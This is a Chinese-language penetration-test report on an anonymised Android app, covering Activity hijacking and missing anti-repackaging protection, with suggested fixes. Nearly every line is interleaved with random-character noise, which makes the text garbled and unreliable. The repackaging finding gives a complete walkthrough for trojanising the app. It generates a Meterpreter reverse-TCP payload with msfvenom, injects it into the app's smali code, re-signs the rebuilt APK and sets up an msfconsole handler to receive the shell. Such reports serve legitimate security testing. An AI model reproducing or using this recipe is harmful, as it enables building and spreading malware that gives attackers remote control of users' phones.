$ S( n& p1 _0 h3 e, r
E# X; {$ f E# W8 }2 J: w
$ ~/ [! o9 c9 v0 s6 N% C; h! b/ O/ W& R9 h3 S, x {8 R
# q4 J- s2 S1 W" D9 C8 m" o9 V1 i7 [" u5 Z k. `* U& X. g8 d
, h2 h3 ]9 U1 |8 n
2 G' K" S: J5 L
7 s4 e; h. s; x" \" Q( q& I+ a
7 n! w) K( H2 F3 p & T/ ^0 v$ K6 }; g: d7 K% b; O
. L9 b8 L7 g7 A% \5 d& H 表1-2 测试结果
+ Y# H) l2 D8 f: r
# F" c8 t$ X: @& i/ t5 v+ Q6 @+ e
% \; [6 B0 B0 R+ ?+ |# P9 a( b& J' ]( T: z
. c2 h; y$ Z+ W1 x- S7 ]# m; G
: }4 |2 j; E) V$ P- U9 h8 H % y3 Y; @0 A b) t$ R0 ^, p# G
" F" H5 B4 H k# |
. v- @& H& d( ~1 V! q% t- p8 y
9 r( Y* O5 ~/ V8 K5 C3 k$ `
) o# ?0 ^8 T6 J0 ]. T4 M9 ` 2 检测结果
* [ O; A/ @/ Z, s8 O2 @3 a0 n7 h3 y9 O. `
) ], \- [5 ?: j6 z2 x" p, y1 c _* P
) R, f3 X% ?& k. x
, Z+ W4 p& F( e/ }- q- s7 |
) O7 F4 J* e5 c! [. K' [ 2.1 某某某
$ Y1 e! S) ~& G- e6 j+ ?& m2 z+ x; \' a3 \, t4 E
. C# Z2 `" P+ ?+ L6 m) W8 @; L$ G# g$ i1 |* C8 q a
) B% g+ ~6 b" o+ B+ n1 ]- p( x
$ e2 ]2 f' _( s# L% S 2.1.1检测目标
0 {1 K* f. B3 v* A7 A8 l7 f A
! k0 w+ N% @% Z0 |( D, |2 N O' o
: j0 j$ t' e: }/ A! }- w! N7 }1 V/ a3 }/ `8 Z
$ u) \( ]' r4 f0 _4 H; \/ p: p
# x f; {& ]' ~) V3 [0 w/ B0 _5 a 目标地址: 某某某某某某APP
^- q: C# h4 c9 ?1 C# w% p3 g' y8 Q% S
- D' \, ]" i/ \0 u4 X; S& C
. W, j r" @( `: `; B6 | 9 {3 A" A# W* c$ ?+ z3 @6 z
2 ~" X$ l$ B2 R. k& a 2.1.2检测结果
8 a" h" D& x) u# Q' G2 p/ J" n9 H
+ }: ]" z7 ~5 |
$ R4 p+ b2 R- v8 e. G- Y' N, j* |+ B0 ^/ I& j4 e2 |5 j
, A2 p$ ?0 W( u1 i( q5 V/ ~
$ a* x. f! l! e8 B, ` 2.1.2.1 # @* u* ~) F" z3 Z# Q0 y
; m8 R+ ~ `- q7 Q* h$ I
; H, B c N) C* {( i/ @
# u: Y) l& p- T0 d2 S* j" [) j3 p H
% y _( A4 Y- g" e& b! e/ e& V
2 `7 ~4 {9 c; Z 漏洞链接地址:某某某某某某APP
$ w+ M8 F$ v: ^* Z2 I: n5 Z7 m- u
1 W$ @; J0 r- B2 ^/ a0 i
+ l5 S3 B4 w4 T k {$ y) y5 P
' t2 \! K" c5 k! N, E# V' a* p! K! q+ D- c, f! h, E
1 ?- l9 @+ T3 P
1 ]9 F$ [' K# r; m
/ g8 T- l& G( t- l: F7 I" \ P
2 Y3 G3 p" {7 y' _! U" P0 Y" n' |
9 r9 i% ^; N! L" K: A A5 W5 i
( v# E: a# Y+ e o2 Z A" Q 漏洞分析及取证: & H: Q! q; `: ?& X
6 A* I1 N# l# a& d6 e
3 B' Q8 I$ a6 L" f
+ d! @$ a0 Q; F# r
4 I, g; o. c; Q' O( F; ~% l& }. b* {: f- v0 `7 n3 C" }/ k
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: " s7 n) l! J4 H/ a
+ g9 D: n# Q6 q) @3 t* q% Q
$ M* Q, Q1 F( J, V$ K! V4 M; V3 x1 d# I% V( ]0 y
* c. O8 F1 E" i/ R7 R7 w( B' l) g
8 _2 }' J2 K* d2 h) R% U* J% A
/ V& {8 P& t" L* h
: Y- ^$ r1 `* n: u) S
: s4 C8 w/ `* k% y& _
1 i' x/ V& D4 _% m# J1 @1 w
* {& A" ~* A7 W- X: ~' L
1 \3 M r! w9 O: q7 R
, S n& @3 d' T' n9 Y4 ~; ]$ m7 s H7 A* w4 m$ D+ C
, ?) R+ Z- s% s. M6 b! W
! |% p" e; e/ P: N0 p ! h( J* s- v4 b+ |) E+ F
0 J' s; q2 j. v) ~' |
8 o, k- Z1 Q) N; W, J( P2 L/ s7 j6 a
: e' U5 w G! ^6 V* r0 S; X
8 x2 A% `& }+ D. R" y& v
6 w/ Q1 Z3 T. F8 `
9 L" ]! U# p0 b( ]8 D6 x6 f. V2 a/ D7 N9 o; I E+ w. n: o* y0 n
5 N2 x/ L3 z6 X4 L7 ^. s! C; l% G$ d% l. W
* O% R& Z3 h |6 F. S, C2 V% E" G. B; \# `# d, p/ E6 M; K
+ u: m2 u: x& c0 S6 w
% ?& I- n) P6 n9 o$ w
& M7 M# ~+ I3 S: r
c9 f, e, I. P8 v4 d; @
) I6 y; B6 n$ V* o$ b6 I4 T! q/ o
7 l8 X! i+ i1 A$ X! _4 a
0 k+ m8 S$ U9 [ t- o4 f W
: F$ P [1 a$ f 漏洞危害:高
* L/ b( D6 N7 I! R3 X
- u" C+ N3 O! g7 B7 i
$ j1 Y: Q+ {% g8 w8 x# x' w( h7 I/ q* a L" a+ a
* I5 I& J! z6 r1 n
1 m0 p6 M! T$ P/ L' R , d1 O. K' l5 e/ s
% e& W8 J8 v6 m! g, B& D! ]
: Y7 u: E2 y/ Z& }1 @2 b, [! A" }3 G0 G8 Z- g4 j
! q: s5 n3 O9 P
% V5 j' X% l5 P |
5 c( J( n" t) X8 J7 \2 v n$ |2 E. i9 N( h1 n; u# S
" |7 m* R+ P5 q6 Z& e$ b3 U8 ]
; M7 m& j2 n4 K) S( C6 @ 严重程度 / B. `4 Z. M# f
" @3 n4 u" u" M8 u
$ i& m0 l' a. E' a( `, a
) |: y. A- i h0 j. h6 e+ } | 9 d0 D9 j* W* r' y3 t. w8 }
' m3 B, {5 x3 K5 @' i: k( L/ t2 U
3 t: u' o+ S% c9 A& [" i$ o4 ~1 O, W4 E' ?! ^
+ L4 P/ L' B7 I$ |, y. W
9 J8 d8 Y8 F+ v: L 高
: a @* i, c5 [) `
7 Z9 C9 j2 k& k; f2 i- g4 G ) w: T8 E# h; C, u) a4 \4 S
* f; e# P' O' d( g( x# \* B. E | ) V; x! J7 k( b4 D6 o
: Q- L2 J0 ?1 H
6 N$ Z; ~& x1 X0 c$ U5 i r) F6 a$ S9 c3 m6 {( H
* d$ {; `1 E4 @7 V5 E! r
& v' v' |, ] Y+ Z- _* @, u ■ d' N/ t. o- p3 T+ u& X
3 }3 H' G( `: t8 X5 ]
) }: E( u; y( Y) _( X. W# A3 z8 V0 V7 }
| , O# l/ C _! e/ u
4 y1 F: F( E; `, u5 w 4 I& x! d/ {* _, ]6 A; e
1 a7 q, j* Q9 P, H- O) n j # c/ N3 M) G3 Y' L
7 q( {3 s8 V* Q 中
$ T u! S$ v! }1 f
, B M. R8 H7 T& `. h
/ [0 E, o6 l; s3 v& I7 G$ A: C! A( {
6 h }, R' y; ?7 s1 c | 6 l( c; y* f" }: c% `5 w
9 Y' E! v; t! w: J# g ~
h) S$ `! o6 V6 T/ Y0 k- n4 }% m' m+ X8 }
8 \$ |. }2 G$ d. u7 i8 d
0 S& o0 \8 [4 A& x; K; S8 v
, M# w. X* s( k) V/ z) ~! I
* e1 E2 }4 M" o/ a- z" a
& M {0 ? _/ `* K
% A9 |; R A4 H. [ |
& B, G' G* r3 C/ k9 R! R
0 T. c) {' h2 b }$ \7 q
/ n1 y( T0 ~- F
4 x" Q1 e _) H# L$ j, _5 i% R& P ! ~; [; h( u9 d. `9 m j: C
: x" m9 G$ N# I; O+ E# Q4 i3 E0 S 低
# {: H* S! r, C2 p" [
* |3 p* [; i* |' n
5 `. J$ Y5 `* B" M* ?9 X" i
/ C8 Y8 J% N* S3 k) K# b | : V4 q9 g2 ~* \; y7 F" S: `
( U7 x0 o) S8 h7 N6 H1 m) l
6 T+ z: j3 s5 B$ Y: u/ C# y0 `: W
0 Y. u3 c' w/ |5 J 9 \6 s5 Y' D. o" B2 ]/ A" w5 r2 O' j
- T3 m6 b; p' N! h R
, ^* y; l4 Y& S7 }) ?. R8 a/ x5 Z& e7 S. Y- m
. P% {; v7 a9 N' O. Q: G/ i7 L. }- r6 ~' ]# f
| ; S+ h( ^- i- w0 v- L$ }% ^4 ]
3 `: f. y! e# D
0 q$ h" @. D- I1 h$ g/ q
5 c4 m/ F4 T# P0 d( l# j 3 s0 G0 h; @& b4 T Q# p2 \6 ^
3 X/ f- l* R* Y& f; U
+ K8 G% } I1 @7 f. a6 G; A6 H8 y
- X$ {+ [. ]# p$ x2 m 8 ]' s" B8 i/ Q" q
+ K: Q8 _- i; ~- ` I
- M1 ^% V6 w, @( H8 v6 k5 f1 R' Y' U
w0 b' i+ `7 ~! b: S
% G6 R! f( M9 M# e- x
4 l! s2 v) _" N8 x5 r$ Z$ |( W2 s. f
0 {9 p; T: I. n4 z. H, i+ Q: ]! R/ v: z0 R: U1 Q& e
! }9 Q h& K6 |8 |3 S0 X! ^
8 ^' ?: x6 H3 p' k2 L
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
( k% {8 ]+ x% F, b# G4 Q9 p7 v" u/ W/ \" a) i
2 G6 E$ J" y/ H. T& J
, y. m4 i A6 {! K& i 2 ~; p* p2 y# b5 `3 V
. b6 O8 ^9 B1 V& X 1 C; v& O+ H+ q$ X/ ^; a
' m. ` c# u3 B" T' x* r' B1 H
G. p6 d; O, ^/ |. e# L
# [$ q; O4 B3 u O- t* Q $ W9 K9 o$ m$ A5 ^
* x7 w+ n6 E4 B! x4 a
6 b3 x- ?. H4 o" J- I
! m0 R% s1 u; [: q
* O8 P+ C. _7 O3 Z& n8 P4 C2 b4 b P8 ^- s8 d4 C/ M
$ ?& \" k( I) }4 K: ?( k" K
- B$ t$ t: Z7 G, {
2.1.2.2 * B1 O2 A1 ]4 m: N
" F* H' O7 [* w/ ?* D/ e
+ T2 e$ _' t3 M3 d% Q- F
5 {. W+ l% m0 E + E0 h7 X6 p/ z
1 _ B# f+ n1 J( _! M9 X
漏洞链接地址:某某某某某某APP * e# v+ }$ `* n& N5 r5 _
y9 _; T' N/ I! D' p- @4 `+ V
/ E( o0 B+ n% `; P8 w
2 c" |) O. o% B) L$ c8 A3 v 5 ^. `$ K1 i1 G4 ~' l5 d5 x# N+ _
* H# e+ S8 ?5 \ 漏洞分析及取证:
. C8 M; b- |0 V0 d: U. d# m+ u0 c9 s2 ]) S* k/ U) q
- ~. S' @, g! T: X& x) p" F- H/ ?( w2 |4 e4 f
4 J1 Y) p5 _2 N$ `1 @
7 P) K7 p: ^! G4 Y
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
* e F( {* \$ [6 G
6 {$ ~, B6 j3 ?, Z
1 z0 Y( u8 b% B4 B O
( i5 `9 k& F# S) C - W! W1 D* W, [& D' _2 O) R- N
8 Q0 X/ G. v! n( J9 c+ `3 [ 用Metasploit 生成木马 apk " Z& Z9 I: e- S; h! k' n
& e+ _& Q( j8 i7 T
9 w2 t& Z6 i) _5 c* q
$ w# d N2 s- _; X( G
+ v) M; K4 S- e8 s2 s, L) @8 ?# o8 D E
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 5 V4 M2 z( O+ T# ~7 Z
+ c# j) x2 F$ c
( ^$ `% c0 Q. S4 X1 C
) N* L$ ^ Y. K9 l ! g* ]/ @$ F4 O* `( [4 V
' o7 G3 O! Q6 R% ^" t, B 反编译目标apk和木马apk
' P7 p# \8 Q9 M7 }* K
7 ^! Y/ d* r6 e i1 O" k
5 e# C6 a" L! q3 e1 M
% m& t( X! K2 } ?6 n G & ~) d' l7 ^( ]5 @
: S/ u5 ~0 K1 E9 C& t: | apktool d target.apk
' {7 u2 H+ w" L$ Z) l) m9 K6 M" l5 i8 y* M( _; `
apktool d cockhorse.apk
0 u4 g% N7 S% H e4 T! ~ _" f9 A9 |. ^$ w* B5 R
6 x" V5 u9 v+ l& E ~" S. E
1 x* h; m7 q# E, h
& h9 F r) F( \3 b1 A* \2 i; q1 z" N4 o! p( ~4 B
木马 apk 注入目标 apk
2 D! t! M2 H- s- z( A- @, |1 Q# B( B: P9 D2 o
: \8 y4 K+ \2 s7 h, j7 ^3 v4 x
0 ^; s% h* B- k. U; e7 m# Z
2 q1 Q, R& m) K V% i8 o$ P1 q% @8 l4 w% T" q6 |
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
. u9 @9 w' H; O( Y3 U2 A
& \9 d$ J* e3 K" k2 |
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
8 n# {/ L. G# I' T/ R! C8 ~
- t% g, L$ R: {0 E& ~$ Z- S
+ b! m4 X6 b2 l9 N+ Q
3 ~- ] _2 @/ R( ]# o
9 r1 ?4 o: Q$ J; I+ r8 ]& s2 I- ^% F
# L. K9 U7 L/ D% K. Z9 W: n 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 # Y5 |. ?1 Y% K& }
* y" h. s, f* u
e3 `& _# S' V$ W7 v5 }( _" M
/ ?2 H0 N5 l% E' g2 \7 U- E
! e/ K, [ J# V9 m8 Y
" D9 S/ o9 k, K+ I 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 $ U$ c7 V( h$ R
4 i) x6 }- h" _% K1 o8 s# L, W# m
& S5 @) m# S. A; ^
8 P4 j0 k- A& w6 e. o3 d0 c
3 O( J4 H( H5 F( L
% L6 v. J4 G3 J3 g1 Y" @9 [
回编译生成最终 apk " G9 i7 B! N5 s+ P8 v2 C* d
! Y4 u9 G. m5 B
0 n- C7 F$ F& l* x
/ d9 X6 \/ h& B2 {8 P1 X5 h
f4 S) U9 G" X$ O8 c+ L5 L- \1 I0 V. m8 s* G( ^* U U
重新打包
' o' B7 Q) B2 I# K3 o7 R2 t- X7 G
' b) L% v- y7 N5 j
, U5 W( z, M1 K9 C
$ x5 q7 r; x$ W7 A1 Z " x& [9 ~/ w) s# l: m4 h
t+ n1 o8 E. q7 s# [
apktool b -o repackage.apk target_app_floder 2 o2 {( Q! V2 }& W, e; @9 l! @0 q
" Y, o# ^- i1 K7 T( X
4 X+ l3 z6 }+ K2 e
1 e! M7 M# Z+ V/ |& j E
! R! m6 T8 { r
6 C' w6 H5 B# G- R+ n1 s/ N 创建签名文件,有的话可忽略此步骤 * }3 A# Q h1 X: M# x+ Q
: ~0 V% p/ f. `2 a$ y7 G) |+ ?
& O! H5 K- m8 L+ Z' c1 c# k
; ^+ ?( n/ ]4 p5 A( D5 N) w
# d4 N0 Q [: i( p8 @, f
! P8 G7 x/ E/ s
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
9 x: Y( i" ^4 ]6 ^1 K4 z" M3 i o, g( b
2 ?0 m% J( l% G' D: X+ j
# X/ r& J- x! P6 {9 h . r; Y: P$ g0 T! M7 g) y! e
4 g g9 _; F( B- @& q& {: N4 I$ w
签名,以下任选其一 7 A9 \1 i4 M0 f6 {6 _
+ n! T) ?; z1 s+ B5 B$ {
6 M2 o1 @5 z' m7 H! v6 P k
+ ?9 `, _' B' _: j & I$ k6 P: E, C3 V$ ^
: W, U2 U0 F- }; H: @ jarsigner 方式
+ R8 c) q/ t, U& S' s' r
9 l- e2 c) o/ l: y
( o" @! [$ h( S, z. b
& s: N( i) G1 t1 y
+ E; x' I) `4 v$ [# E
: _$ O* \, s7 @ O6 R' y! X jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname + V' }" C: F: S0 C' R* d
' J5 A6 P {# v) `- Q4 W
. Z" e6 \# J) f& P4 k2 I
: k# U$ t* y) ~- H" y5 Z9 s5 o
5 ]( Q7 I- w% a% a l& R. U2 [& ?) ?" {0 F% A: W1 ~1 t/ k/ F0 @
apksigner 方式 5 i9 I) d/ @- O# U! @
8 \) ]4 g5 `7 J7 s2 [
5 N }8 ]5 G. G2 \+ E
- R! |$ t4 D9 _4 g/ |7 s4 X
! W- Q; _$ W1 {" w) r- {4 f0 D; ]* V2 I( u* m! a
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
2 t K7 j' f p! w" P
- @2 d& a2 |' F( d
$ v7 I" w$ m Y5 B1 L
" z* {% C/ E- A1 T( [9 d- N v, E' S2 _! |: {1 m
2 ?% A9 }$ t( h
如需要禁用 v2签名 添加选项--v2-signing-enabled false
& |' m6 j4 T k& d0 e- r& h' J) c0 ~1 x
8 B1 j: r" r3 H- |) |. [7 h
1 ~5 K2 p8 o# ?& j
' q8 e g6 ~9 n# J# G2 t7 L2 _7 F + P+ @# Q5 u! @8 B* I8 H
5 d! _" N" `% g+ P2 z! c m
验证,以下任选其一
; Z' _6 x6 _ ~3 q
9 v& T1 I+ X/ m/ I
7 A, j S( h A! H1 j/ Y/ ~: g, X, ]/ K
+ X0 r4 ?$ T* `9 t
) a8 X9 m1 B+ E; y1 D' k+ r$ W
jarsigner方式 ' s, i1 W" ^) u+ \5 ?
# v" W( w0 s, N% A2 o$ V2 K) R
9 _; V' e( x/ b- V4 ]( U" @
/ B4 D. s0 y, g3 I; t# d 1 n3 U1 U1 t* Y5 k- }! e: y9 l. S
5 @2 A" q; T+ d" H: R% F
jarsigner -verify repackaged.apk 9 b6 i: w3 P5 }/ o2 l4 O# T$ y N
5 ~0 B2 P9 r1 f- M9 L: }& |
5 @' A! m% e- F2 P* }9 H* _; l* f
- ^8 V, Y9 {& s& p# E8 h7 y# D! [
( f; ~+ e2 ]" }( x5 n. q
- a& @& U: Z+ u; C/ c; u" ? apksigner 方式
- X* t) \# X) W0 {; `% t; h+ W; ]1 N& D7 e5 \* b+ E
) l2 ^. p- B& H y' `* V# k1 T
) k6 e" D; d' J$ H' T
$ O: a Z, P+ Q; t
. X4 p; P! @* K+ A* T- H apksigner verify -v --print-certs repackaged.apk * d2 g- f, O$ R" R, Q. H( d
/ u$ F8 b# E" D' i$ m/ Q
f5 i- x; ?8 U! B7 s/ R/ `% m" O$ G# q0 L# X5 i/ D, K
/ P+ W% Q# [0 z. w* i$ _1 D* {8 X1 [( h4 w+ W1 Q X5 g
keytool方式
; c, @+ P# W' a" Z' }' E/ [
# E7 s" G0 v2 `) S: z
$ b" {9 y- s, B) R! n; | Q
, o* }7 O( B$ U" V
- `# {- m$ l* m b& K" H8 T
& M/ u( |: z$ u0 Q keytool -printcert -jarfile repackaged.apk 6 M* \- t5 D. X" H9 Z3 W' F; R" B
2 I( \7 i4 x0 O1 b) _
9 Z0 ^/ ]) T& l9 U! D
7 @ ?4 |# B' E/ z& o; \ k/ j x
' b5 j* t8 p6 U6 t a. l
E4 D8 l, v9 p; w" W3 f. D) k 对齐
- P* `5 V1 b, r( H3 J) y
3 I% c# m* C+ H7 b. I
/ s3 r2 i1 N3 n* c" s
2 v# M1 M# e+ g- O) ~2 C
# _6 K W' b$ ^0 l: Z8 e7 b4 m
0 P$ m$ n7 u; R/ g$ q$ P
字节对齐优化 $ D/ ~1 ~$ }" C$ ?4 f( b
; [1 ~6 n. R2 p d( J% T& d
* ?" {- s. e' v. l6 M' g8 `% |$ l+ ]
( E- V- q. K6 E! v$ e+ ^ 6 V& `, J2 `0 [1 [9 l( [
9 ~' o2 ?2 d% h zipalign -v 4 repackaged.apk final.apk
4 P7 X+ s& q$ z. C7 u1 M! U$ P3 B m1 T% ?8 \; K, J
$ F6 d% S2 r- q4 w5 r
6 J: z: N9 y; X& f. u( g: d( ]2 F V5 `/ \* H8 Y8 V( G
! N# m5 M2 z% H. S0 i2 c7 o 检查是否对齐 & { {( N$ l8 q& L
$ g2 K) @% D* T
5 v9 p5 k$ ~( {1 a1 X; a) R
: y5 Y& V5 o7 T3 ~0 G4 h# {3 V 5 V) Q3 P) ^6 Z
- F: N$ E1 J) v5 [" X/ {. j
zipalign -c -v 4 final.apk
& f& R, A, I7 s6 s% C) g5 y. y* O! g7 g. q: ~3 _% Z# ?
7 q+ d5 w6 B5 ^5 n7 p
9 Q i# R" `% j: Y! B3 ?5 j
! t, G: ?$ w. v; A* `0 K5 ]! H7 x3 ^2 _' s3 Z" U
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
; n7 l& K" P, M( e N$ ?: m6 V, E! G' D
. Z' p1 T4 X; A, K/ c! S3 p4 d1 @
" A+ _' Y) T+ a. Y3 m- } ( p1 h [0 y: H0 C, L
- Y8 t& }9 Y$ P. [" I3 q/ |* `" h X
启动Metasploit控制台,配置参数等待上线
, h2 J8 r& r/ h* _6 ]: V( v
: @# c1 Q0 h U7 f0 A: i7 I% y
- h% P8 k* ^( N! C" B+ X
' K, A; W$ K1 M
9 U. \; |/ ~$ D- X, g! A" I+ } |. `9 ?& b5 v4 I4 Q/ r
在终端依次输入如下命令
2 B9 u3 d; {. \+ g9 | i+ ]6 ^/ `
4 n2 ?& y6 W5 W$ H
# h/ U3 k. I9 T$ M
, ^/ |/ i N/ i* P
. R7 z4 J/ p, p
1 k# c& i8 P+ c) I msfconsole # z8 Y" N9 ~7 R' l! @
% B* q5 E0 @$ @- F/ P" v
# b/ s4 k6 t% }. W
/ x, e1 H( C$ ]# X( V$ K 9 M5 v1 d* D9 Z' ?0 a: t" u
, S- g/ y6 U! [4 v% z& _/ O use exploit/multi/handler
2 N0 R. U, E) F' S; ?% I3 N& i Z, y
/ Q' j- B& V# q$ w1 \6 Y
. H6 t2 B. b4 H - A- i9 s: M: C! s
6 p9 R' O- ?- i1 T' l# d set PAYLOAD android/meterpreter/reverse_tcp & x4 V7 Y' d( A! I
; ?' V8 r# e9 D" ~+ a( P
4 s( C; y- y/ p: X, l: _2 u# H; {; _# a; L% O# _! C4 { ] N
, T8 p" k. {+ ^( x/ N$ \$ W: ^( ^
! h: F& Z+ [2 d set LHOST 192.xxx.xx.xx
- B2 ~ J- k7 H( A' P/ F
! I$ `5 f) k3 X
2 Q ]4 p# o; E% B* x' S
3 }& O/ l! u9 Y1 e4 r
# V5 @0 B+ c X+ p. w! a f4 L6 ]- Y$ O _2 f, H7 C- c8 N: r
set LPORT 4444 + `& U) O' ^3 [# ~
. }4 j R' R) V9 C% j3 l
) @; T; x* i, g2 B+ N3 B+ W$ ~% O& e
6 O+ ?- s8 c# X2 O, O* i7 H% M. C
7 m0 @: y7 h$ L1 u; l) k
exploit U1 Y9 ~$ K: k3 y" q( N
- t$ C1 Z2 T, c8 B
7 c: a' ^! i+ k+ k" `2 K6 M J- t6 d
5 k% b& M( \: L! L" r- Q' L
1 U) o# ]& |, a3 C* O 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
# }/ P0 ~6 t6 l* }0 _) n' i$ P5 n
8 w+ M% L1 f6 @& w
( ], @3 |0 K9 Z" ^) i- o1 B( g2 V( u1 y) U& m
+ {' J f# V" d2 |) u2 W( ` Y9 `8 L5 b
漏洞危害:中 ' t5 r$ e0 ? T2 F% ]
b) O3 K% }9 ~% S, g0 l9 R+ `
, ^4 Q _8 T6 `# a
& P) l* u0 @* o( X* v: ~ A$ A. E j V; F9 J
$ n6 n3 t; K+ C# b
/ {2 N C$ a+ L/ H
" d4 a# Q: v8 Q& ~/ i- h
; v z. p& ^( W6 [2 [
F' R* K7 b+ E: B3 {. @+ J 7 O0 B- ?3 ]) A) I! V# w- }* ?- A
, \; u8 ?- [! |) E3 e; c) f( M/ n
$ v# v* d5 _. g* ?; l. X; c" `
/ y5 l, i0 T* c5 X5 ?% y
| ) @+ b( K! V ?1 A1 V }6 M
4 s+ @4 Y( J- i) g/ o" P; b T
0 Q4 t5 D9 F2 }
* q" b4 H/ m# w: E6 Y 严重程度 5 L- F0 w! \3 i0 n- v
$ y* K1 r# z9 D' J) J; N; _- M3 I / O3 {, J9 E$ f8 |, j
0 [1 \8 s3 ?6 [$ c$ p; N; Q | ) u- o& A3 Q7 l7 H8 q9 A1 P' I
0 W5 n4 P p0 f4 d E
+ c1 C! I1 U7 k: }
$ y) y! F% W2 _7 @8 G! O& N
: g5 f$ C ^' s" U
& \/ P+ z# P: S8 J 高
1 @) y$ S: x7 b" r. F! U' C0 M1 P
- T, x! \! Z5 n; y: X7 _1 x6 D / ^1 |- u' V d! E: N, f9 ?* _( p
7 u/ U; ]1 y4 a0 Y y* N, P* s; Y& U
| ) ?3 O) L* }6 t! i! {
. K& ~0 F6 K6 N- v! O" H + L3 j- l6 x7 }/ K
. _ g, T/ P" l& e5 }1 |
* ~( u3 ?7 u2 O, ~9 L y7 h
0 j3 C/ X. _/ o' c2 x0 [4 J* d7 H ■ ; l* P' O# Z4 n, P# b5 X
9 s3 j4 \8 J; L
7 _$ h/ X% [! V: P
. f. Y0 p$ h/ ~! T/ ?6 d | : c3 K2 `; v9 b! A0 [6 |
! g1 \+ u. Z1 N K) J ^2 b " Y' {8 L ?& m K
9 h% k4 ^& p# x- @! ?/ c
1 S. G# ~& O L
3 j9 Q2 _5 p/ b4 g% r 中
% Y, M6 X$ B+ N$ T! ?& D# I5 u- o. ]1 E R/ K J3 B- Y1 p
" ]) t3 d* W g0 s$ I3 @' C+ I [" {& u, a# a! ]
|
( [$ x& D# N6 @# D3 z2 }1 m. W% O7 C: S7 f2 o) m0 e
/ e" H; R6 ]& i) V5 h* R8 y' C$ g: V+ U5 [/ i
7 W9 R5 e0 ~, i: `' I) b; q% w
0 B8 v4 y& r. G: h& z
) D3 ~$ m# O( l+ m5 s) [) T0 b# K9 Y+ {# }. B
% ^3 Q3 [& \ L% B0 u6 s& z& d9 n- q
( ]. R! X. C7 y) q+ S! J 6 z* k# k+ n% W: R
9 M5 m& h! u1 u: V
| 0 X1 N; \% ^; y7 }: m; { H5 ^
7 }+ \4 v: \ {. a U& B) ]; z
7 {( s- p; q! z. T) d
8 v: v8 d# X z. ]6 N5 {) T3 k . b$ @) n; I( p* ^* o/ i1 u
% V6 W* y6 q: J1 k+ a) p
低
* M6 T7 I8 S; X; B/ ^
" d5 |# |/ P' |/ N. [, V & f/ @8 c1 G/ b# _# Y
& b4 n }% R5 x& u4 P5 C |
; i+ Q- N) J8 ]/ o1 O' v( H. F, l' }+ a
6 L9 ^! e, f, R! p6 I W, U
[- K* b& u4 M8 s. A: M
! |- u) E" W5 d' `) d2 r0 n
* f0 Y9 @/ w( {
( J9 T+ B' f( w3 i2 G3 @! G* B2 y: P: D/ [; B8 _
$ m/ M# l# Q! N+ C
/ p$ K, v/ v3 [: |- H8 o( V + V( `& Q9 X4 S" z. C
; M! C: I. o! z( f7 k+ R9 g
|
, g7 r& p8 a! t+ Y% O2 n9 z( Y- {
7 g! f& d& B4 T" {& B5 c
) q5 z# r2 _9 x' F3 C- X8 @
4 N) n, R0 z+ E3 V7 h) X4 u
" G" ?1 O/ I' [1 u* Q/ Y( }# m# B- n- j G: h) l
" u' Z1 ?3 }& w2 h" K' Q
7 ]: E3 b: D( E- q+ f, z
4 s! I( q8 p9 D/ G( y
O2 m1 C1 e+ a! \8 \1 T' h & l+ b. I# x4 x8 H
! a( X8 M# a+ z; b; W& S
$ _$ S6 _1 Y- c& m" Z7 u6 |, @+ c/ T W$ z, b4 i- w
! v! g. a9 E- I5 S6 F0 I) l1 M& y3 Q3 F3 v, A- e
: U9 N% v2 N# X5 v! d' F
7 R7 G, V3 D/ y# a+ j, T
修复方法:
, U+ ~$ A9 R" g _* `5 A4 p* ~* W0 N: a: J5 d
3 P% e" A3 J) |+ {% l4 V. \* d9 A
. g: k$ z! p; L
# F ]( j- s" J/ g M 1.在 APP 启动时应做签名校验防止二次打包。
0 s8 R2 ]/ P7 N; g4 r/ k2 M0 c
% l8 I$ `# {1 ^$ g 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
9 A! g/ @( w( r( [2 @9 q5 u' a: A4 ]6 H3 |- O4 E9 D1 |7 ~
# H0 ^6 a0 E; S/ b/ [3 H0 ]+ m8 q* f& b
( I6 Y5 G( Y& U5 t: q( g' W* @$ [1 w4 C1 V# x, g$ i6 r) U
% L _% _2 u7 }- _
, U& C* c. [. O$ f) \* c3 }7 _ + Q9 M( Z! T2 q4 S% Z1 s. ^6 X
! Q. d( O% L, z
& Z5 K1 ]( _1 Y" U Z8 k( Q0 z5 N; K
% I# Q. z' H! \1 E4 W
' H' }* y/ P# i4 |. l% q, t K& ~! T y9 l; H
0 W/ a7 J2 z0 \1 M% w
g/ X( z6 @/ b C
; L V. r/ r8 M: d% P9 G# g
: _: x* F! m! E* A/ a& R0 e
, Q; g( h0 F8 q3 {& K% {% g5 D1 X# J% E( M5 q, F/ X! ^. b